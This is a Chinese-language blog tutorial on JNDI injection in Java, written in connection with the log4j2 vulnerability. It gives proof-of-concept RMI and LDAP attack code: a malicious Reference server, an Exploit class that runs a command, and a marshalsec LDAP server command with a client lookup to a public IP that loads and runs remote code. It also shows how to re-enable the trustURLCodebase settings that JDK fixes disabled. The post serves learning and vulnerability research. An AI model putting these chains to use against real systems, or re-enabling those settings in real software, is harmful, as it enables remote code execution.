概述
JNDI是Java Naming and Directory Interface(JAVA命名和目录接口)的英文简写,它是为JAVA应用程序提供命名和目录访问服务的API(Application Programing Interface,应用程序编程接口)
简单一点理解就是:JNDI的做法,就是定义一个数据源,与系统外部的资源的引用 都可以通过JNDI定义和引用
JNDI可访问的现有的目录及服务有:
DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。
简单点来说就相当于一个索引库,一个命名服务将对象和名称联系在了一起,并且可以通过它们指定的名称找到相应的对象。从网上文章里面查询到该作用是可以实现动态加载数据库配置文件,从而保持数据库代码不变动等。
在Java反序列化漏洞挖掘或利用的时候经常会遇到RMI、JNDI、LDAP这些概念。
其中RMI是一个基于序列化的Java远程方法调用机制。作为一个常见的反序列化入口,它和反序列化漏洞有着千丝万缕的联系。
在2016年的BlackHat上,@pwntester分享了通过JNDI注入进行RCE利用的方法。这一利用方式在2016年的spring-tx.jar反序列化漏洞和2017年FastJson反序列化漏洞利用等多个场景中均有出现,由于时间原因笔者还没有研究fastjson的漏洞,从log4j2漏洞爆出后,为研究其中的原理,才有此文
JNDI结构
javax.naming:主要用于命名 *** 作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类; javax.naming.directory:主要用于目录 *** 作,它定义了DirContext接口和InitialDir- Context类; javax.naming.event:在命名目录服务器中请求事件通知; javax.naming.ldap:提供LDAP支持; javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。0x02 JNDI底层类
InitialContext类
构造方法 InitialContext() 构建一个初始上下文。 代码: InitialContext initialContext = new InitialContext(); 在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。 常用方法: bind(Name name, Object obj) 将名称绑定到对象。 list(String name) 枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。 lookup(String name) 检索命名对象。 rebind(String name, Object obj) 将名称绑定到对象,覆盖任何现有绑定。 unbind(String name) 取消绑定命名对象。 代码: package com.rmi.demo; import javax.naming.InitialContext; import javax.naming.NamingException; public class jndi { public static void main(String[] args) throws NamingException { String uri = "rmi://127.0.0.1:1099/work"; InitialContext initialContext = new InitialContext(); initialContext.lookup(uri); } }
Reference类
该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。 构造方法: Reference(String className) 为类名为“className”的对象构造一个新的引用。 Reference(String className, RefAddr addr) 为类名为“className”的对象和地址构造一个新引用。 Reference(String className, RefAddr addr, String factory, String factoryLocation) 为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。 Reference(String className, String factory, String factoryLocation) 为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。 代码: String url = "http://127.0.0.1:8080"; Reference reference = new Reference("test", "test", url); 参数1:className – 远程加载时所使用的类名 参数2:classFactory – 加载的class中需要实例化类的名称 参数3:classFactoryLocation – 提供classes数据的地址可以是file/ftp/http协议 常用方法: void add(int posn, RefAddr addr) 将地址添加到索引posn的地址列表中。 void add(RefAddr addr) 将地址添加到地址列表的末尾。 void clear() 从此引用中删除所有地址。 RefAddr get(int posn) 检索索引posn上的地址。 RefAddr get(String addrType) 检索地址类型为“addrType”的第一个地址。 Enumeration0x03JNDI注入攻击getAll() 检索本参考文献中地址的列举。 String getClassName() 检索引用引用的对象的类名。 String getFactoryClassLocation() 检索此引用引用的对象的工厂位置。 String getFactoryClassName() 检索此引用引用对象的工厂的类名。 Object remove(int posn) 从地址列表中删除索引posn上的地址。 int size() 检索此引用中的地址数。 String toString() 生成此引用的字符串表示形式。
package com.rmi.demo; import javax.naming.InitialContext; import javax.naming.NamingException; public class jndi { public static void main(String[] args) throws NamingException { String uri = "rmi://127.0.0.1:1099/work"; InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用 initialContext.lookup(uri);//获取指定的远程对象 } }
在上面的InitialContext.lookup(uri)的这里,如果说URI可控,那么客户端就可能会被攻击。具体的原因下面再去做分析。JNDI可以使用RMI、LDAP来访问目标服务。在实际运用中也会使用到JNDI注入配合RMI等方式实现攻击。
JNDI+RMI实现攻击
RMI远程调用是指,一个JVM中的代码可以通过网络实现远程调用另一个JVM的某个方法
package com.rmi.jndi; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class server { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { String url = "http://127.0.0.1:8080/"; Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("test", "test", url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("obj",referenceWrapper); System.out.println("running"); } }
服务端的代码是这样的,意思是,注册一个rmi服务,端口为1099,自己的实现类为url的部分,最后去绑定(bind)这个服务为一个名字
下面还需要一段执行命令的代码,挂载在web页面上让server端去请求
package com.rmi.jndi; import java.io.IOException; public class test { public static void main(String[] args) throws IOException { Runtime.getRuntime().exec("calc"); } }
RMIClient代码:
package com.rmi.jndi; import javax.naming.InitialContext; import javax.naming.NamingException; public class client { public static void main(String[] args) throws NamingException { String url = "rmi://localhost:1099/obj"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } }
原理其实就是把恶意的Reference类,绑定在RMI的Registry 里面,在客户端调用lookup远程获取远程类的时候,就会获取到Reference对象,获取到Reference对象后,会去寻找Reference中指定的类,如果查找不到则会在Reference中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行。
JNDI+LDAP实现攻击
LDAP概念:轻型目录访问协议是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息
除了RMI服务之外,JNDI还可以对接LDAP服务,LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址:ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。并且LDAP服务的Reference远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。
不过在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。
围绕JNDI LDAP注入,图是偷的,看这个图就感觉很清晰
*** 作和rmi大体类似:
恶意类:Exploit.java:
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.IOException; import java.io.Serializable; import java.util.Hashtable; public class Exploit implements ObjectFactory, Serializable { public Exploit(){ try{ Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); }catch (IOException e){ e.printStackTrace(); } } public static void main(String[] args){ Exploit exploit = new Exploit(); } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) throws Exception { return null; } }
编译成class文件即可.
使用marshalsec构建ldap服务,服务端监听:
/root/jdk-14.0.2/bin/java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://119.45.227.86/#Exploit 6666
客户端发起ldap请求:
客户端代码:
import javax.naming.InitialContext; import javax.naming.NamingException; public class JNDIClient { public static void main(String[] args) throws NamingException { new InitialContext().lookup("ldap://119.45.227.86:6666/a"); } }
踩坑,自己搭建ldap利用环境的时候,出现了先不到类名foo,肯能是高版本jdk限制的原因
rmi和ldap的利用可执行恶意代码,可升级高版本jdk,高版本jdk的限制是把com.sun.jndi.rmi.object.trustURLCodebase、
com.sun.jndi.ldap.object.trustURLCodebase 的默认值变为false
如果想使用,修改如下: System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
在log4j2漏洞中,如果设置了这两个属性为false,但是使用${java:os}或者其他的变量还是可以输出Java平台信息,版本信息,虚拟机信息等
后续再有新的理解,再继续更新
参考: https://www.anquanke.com/post/id/221917#h2-7 http://m0d9.me/2020/07/23/JNDI-LDAP%20%E6%B3%A8%E5%85%A5%E5%8F%8A%E9%AB%98%E7%89%88%E6%9C%ACJDK%E9%99%90%E5%88%B6%E2%80%94%E2%80%94%E4%B8%8A/ https://www.bilibili.com/video/BV18U4y1K72L?spm_id_from=333.999.0.0
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)